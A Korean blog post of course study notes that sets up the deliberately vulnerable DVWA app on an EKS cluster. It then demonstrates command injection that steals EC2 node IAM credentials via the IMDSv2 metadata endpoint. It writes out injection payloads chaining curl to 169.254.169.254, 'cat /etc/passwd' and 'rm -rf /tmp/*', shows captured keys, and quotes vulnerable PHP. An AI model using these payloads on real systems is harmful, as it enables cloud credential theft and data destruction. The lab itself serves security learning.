brunch

You can make anything
by writing

C.S.Lewis

by Master Seo May 30. 2023

EKS 8탄-13. EKS 보안-취약점 점검-13/17

EKS 8탄 - 6주차

본 내용은 CloudNet 주말 스터디 내용을 참고로 작성되었습니다.

https://gasidaseo.notion.site/gasidaseo/CloudNet-Blog-c9dfa44a27ff431dafdd2edacc8a1863  

계속 테스트하며  내용과 설명이 업데이트 됩니다.



목표

IMDS 보안 취약점




<1> EKS pod가 IMDS API를 악용하는 시나리오

<2> Kubelet 미흡한 인증/인가 설정 시 위험 + kubeletct 툴




<1> EKS pod가 IMDS API를 악용하는 시나리오


1

 OWASP Kubernetes Top Ten 중 IMDS 악용 사례


참고자료

https://malwareanalysis.tistory.com/607

https://github.com/choisungwook/eks-practice/blob/main/dvwa_webapp/README.md

https://www.youtube.com/watch?v=0aIfpNReeBc&feature=youtu.be

https://www.youtube.com/watch?v=0aIfpNReeBc&feature=youtu.be



웹 모의해킹 실습 서버 [DVWA] 설치해 실습합니다.






2

eksctl  신규버전으로  설치하면 imds v2 로 생성된다.


watch -d kubectl get ingress,svc -A



3

AWS 콘솔

CERT Manager 에서 *.도메인 등록하자

Route 53에서  CNAME 과 TXT 등록하자




4

확인이 되어야 한다.


CERT_ARN=`aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text`


echo $CERT_ARN




5

아래 취약 시스템 3개 설치해 테스트 한다.

mysql 배포

dvwa 배포 - 취약한 서버

ingress 배포



mysql 배포


cat <<EOT > mysql.yaml

apiVersion: v1

kind: Secret

metadata:

  name: dvwa-secrets

type: Opaque

data:

  # s3r00tpa55

  ROOT_PASSWORD: czNyMDB0cGE1NQ==

  # dvwa

  DVWA_USERNAME: ZHZ3YQ==

  # p@ssword

  DVWA_PASSWORD: cEBzc3dvcmQ=

  # dvwa

  DVWA_DATABASE: ZHZ3YQ==

---

apiVersion: v1

kind: Service

metadata:

  name: dvwa-mysql-service

spec:

  selector:

    app: dvwa-mysql

    tier: backend

  ports:

    - protocol: TCP

      port: 3306

      targetPort: 3306

---

apiVersion: apps/v1

kind: Deployment

metadata:

  name: dvwa-mysql

spec:

  replicas: 1

  selector:

    matchLabels:

      app: dvwa-mysql

      tier: backend

  template:

    metadata:

      labels:

        app: dvwa-mysql

        tier: backend

    spec:

      containers:

        - name: mysql

          image: mariadb:10.1

          resources:

            requests:

              cpu: "0.3"

              memory: 256Mi

            limits:

              cpu: "0.3"

              memory: 256Mi

          ports:

            - containerPort: 3306

          env:

            - name: MYSQL_ROOT_PASSWORD

              valueFrom:

                secretKeyRef:

                  name: dvwa-secrets

                  key: ROOT_PASSWORD

            - name: MYSQL_USER

              valueFrom:

                secretKeyRef:

                  name: dvwa-secrets

                  key: DVWA_USERNAME

            - name: MYSQL_PASSWORD

              valueFrom:

                secretKeyRef:

                  name: dvwa-secrets

                  key: DVWA_PASSWORD

            - name: MYSQL_DATABASE

              valueFrom:

                secretKeyRef:

                  name: dvwa-secrets

                  key: DVWA_DATABASE

EOT

kubectl apply -f mysql.yaml




6

dvwa 배포 - 취약한 서버


cat <<EOT > dvwa.yaml

apiVersion: v1

kind: ConfigMap

metadata:

  name: dvwa-config

data:

  RECAPTCHA_PRIV_KEY: ""

  RECAPTCHA_PUB_KEY: ""

  SECURITY_LEVEL: "low"

  PHPIDS_ENABLED: "0"

  PHPIDS_VERBOSE: "1"

  PHP_DISPLAY_ERRORS: "1"

---

apiVersion: v1

kind: Service

metadata:

  name: dvwa-web-service

spec:

  selector:

    app: dvwa-web

  type: ClusterIP

  ports:

    - protocol: TCP

      port: 80

      targetPort: 80

---

apiVersion: apps/v1

kind: Deployment

metadata:

  name: dvwa-web

spec:

  replicas: 1

  selector:

    matchLabels:

      app: dvwa-web

  template:

    metadata:

      labels:

        app: dvwa-web

    spec:

      containers:

        - name: dvwa

          image: cytopia/dvwa:php-8.1

          ports:

            - containerPort: 80

          resources:

            requests:

              cpu: "0.3"

              memory: 256Mi

            limits:

              cpu: "0.3"

              memory: 256Mi

          env:

            - name: RECAPTCHA_PRIV_KEY

              valueFrom:

                configMapKeyRef:

                  name: dvwa-config

                  key: RECAPTCHA_PRIV_KEY

            - name: RECAPTCHA_PUB_KEY

              valueFrom:

                configMapKeyRef:

                  name: dvwa-config

                  key: RECAPTCHA_PUB_KEY

            - name: SECURITY_LEVEL

              valueFrom:

                configMapKeyRef:

                  name: dvwa-config

                  key: SECURITY_LEVEL

            - name: PHPIDS_ENABLED

              valueFrom:

                configMapKeyRef:

                  name: dvwa-config

                  key: PHPIDS_ENABLED

            - name: PHPIDS_VERBOSE

              valueFrom:

                configMapKeyRef:

                  name: dvwa-config

                  key: PHPIDS_VERBOSE

            - name: PHP_DISPLAY_ERRORS

              valueFrom:

                configMapKeyRef:

                  name: dvwa-config

                  key: PHP_DISPLAY_ERRORS

            - name: MYSQL_HOSTNAME

              value: dvwa-mysql-service

            - name: MYSQL_DATABASE

              valueFrom:

                secretKeyRef:

                  name: dvwa-secrets

                  key: DVWA_DATABASE

            - name: MYSQL_USERNAME

              valueFrom:

                secretKeyRef:

                  name: dvwa-secrets

                  key: DVWA_USERNAME

            - name: MYSQL_PASSWORD

              valueFrom:

                secretKeyRef:

                  name: dvwa-secrets

                  key: DVWA_PASSWORD

EOT

kubectl apply -f dvwa.yaml




7

ingress 배포


cat <<EOT > dvwa-ingress.yaml

apiVersion: networking.k8s.io/v1

kind: Ingress

metadata:

  annotations:

    alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN

    alb.ingress.kubernetes.io/group.name: study

    alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'

    alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb

    alb.ingress.kubernetes.io/scheme: internet-facing

    alb.ingress.kubernetes.io/ssl-redirect: "443"

    alb.ingress.kubernetes.io/success-codes: 200-399

    alb.ingress.kubernetes.io/target-type: ip

  name: ingress-dvwa

spec:

  ingressClassName: alb

  rules:

  - host: dvwa.$MyDomain

    http:

      paths:

      - backend:

          service:

            name: dvwa-web-service

            port:

              number: 80

        path: /

        pathType: Prefix

EOT

kubectl apply -f dvwa-ingress.yaml 



echo -e "DVWA Web https://dvwa.$MyDomain"



(5분 걸림)



8

모니터링 

watch -d kubectl get deploy,ingress,svc -A


정상 상태는 ingress에  address가 나와야 한다.


콘솔에서 EC2 > 로드밸런서에서 생성 완료 확인

타켓 그룹에  핼스 성공 서버가 1개 있는지 확인


웹접속




9

웹 접속 admin / password 


처음엔 DB등 연결이 안되어 있다.

DB 구성을 위해   Create/Reset Database를 클릭한다.

재로그인 ⇒ admin / password




10

command injection 메뉴



# 명령 실행 가능 확인

8.8.8.8 ; echo ; hostname

8.8.8.8 ; echo ; whoami




11

# IMDSv2 토큰 복사해두기

8.8.8.8 ; curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

AQAEAIWuzQszvcrPwcz5tHUcmpL4Zh0gPe1NWuKLnyL7d46hSXyWxQ==



12

# EC2 Instance Profile (IAM Role) 이름 확인

위에서 나온 토큰을 넣어야 한다.(사용자 마다 다르다)


8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEAIWuzQszvcrPwcz5tHUcmpL4Zh0gPe1NWuKLnyL7d46hSXyWxQ==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/

eksctl-myeks-nodegroup-ng1-NodeInstanceRole-1H30SEASKL5M1



13

# EC2 Instance Profile (IAM Role) 자격증명탈취 


위에서 나온 토큰을 넣어야 한다.

위에서 나온 롤 이름을 넣어야 한다. (사용자 마다 다르다)

8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEAIWuzQszvcrPwcz5tHUcmpL4Zh0gPe1NWuKLnyL7d46hSXyWxQ==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-1H30SEASKL5M1



{

  "Code" : "Success",

  "LastUpdated" : "2023-05-28T08:57:40Z",

  "Type" : "AWS-HMAC",

  "AccessKeyId" : "AS2FJINHF",

  "SecretAccessKey" : "vwYBXi/Utq",

  "Token" : "IQoJb3JpZ2luX2VjECEaDmFwLW5vcnRoZWFzdC0yIkcwRQIgFGjfFf2Mw+PBWyyiwdvz/F4BTA9jWmHek7pktkfnI9V",

  "Expiration" : "2023-05-28T15:03:24Z"

}


액세스 키와 시크릿키 토큰 탈취에 성공 했다!!!

이제 아무 서버나 내 PC에서 액세스 키와 시크릿키를 넣어 사용하자~~~



14

# 그외 다양한 명령 실행 가능

8.8.8.8; cat /etc/passwd


파일 삭제 가능.

8.8.8.8; rm -rf /tmp/*





15

(옵션) DVWA Security 

: Medium 변경 후 시도 → 더 이상 명령 실행 안됨



16

Low Command Injection Source  사용경우  위와 같은 문제가 발생 한다.


낮은 수준 코드 입력시 - 문제 됨. 취약 코드.


<?php


if( isset( $_POST[ 'Submit' ]  ) ) {

    // Get input

    $target = $_REQUEST[ 'ip' ];


    // Determine OS and execute the ping command.

    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {

        // Windows

        $cmd = shell_exec( 'ping  ' . $target );

    }

    else {

        // *nix

        $cmd = shell_exec( 'ping  -c 4 ' . $target );

    }


    // Feedback for the end user

    echo "<pre>{$cmd}</pre>";

}


?>



17

Medium Command Injection Source

중간 코드 - 어느정도 안전한 코드


<?php


if( isset( $_POST[ 'Submit' ]  ) ) {

    // Get input

    $target = $_REQUEST[ 'ip' ];


    // Set blacklist

    $substitutions = array(

        '&&' => '',

        ';'  => '',

    );


    // Remove any of the charactars in the array (blacklist).

    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );


    // Determine OS and execute the ping command.

    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {

        // Windows

        $cmd = shell_exec( 'ping  ' . $target );

    }

    else {

        // *nix

        $cmd = shell_exec( 'ping  -c 4 ' . $target );

    }


    // Feedback for the end user

    echo "<pre>{$cmd}</pre>";

}


?>







<2> Kubelet 미흡한 인증/인가 설정 시 위험 + kubeletct 툴



서버에 root로 로그온할수 있다.


1

블로그


https://malwareanalysis.tistory.com/606



2

동영상


https://www.youtube.com/watch?v=88c2iXZBm7w&feature=youtu.be




다음과정

https://brunch.co.kr/@topasvga/3303




전체 보기

https://brunch.co.kr/@topasvga/3217


감사합니다.

브런치는 최신 브라우저에 최적화 되어있습니다. IE chrome safari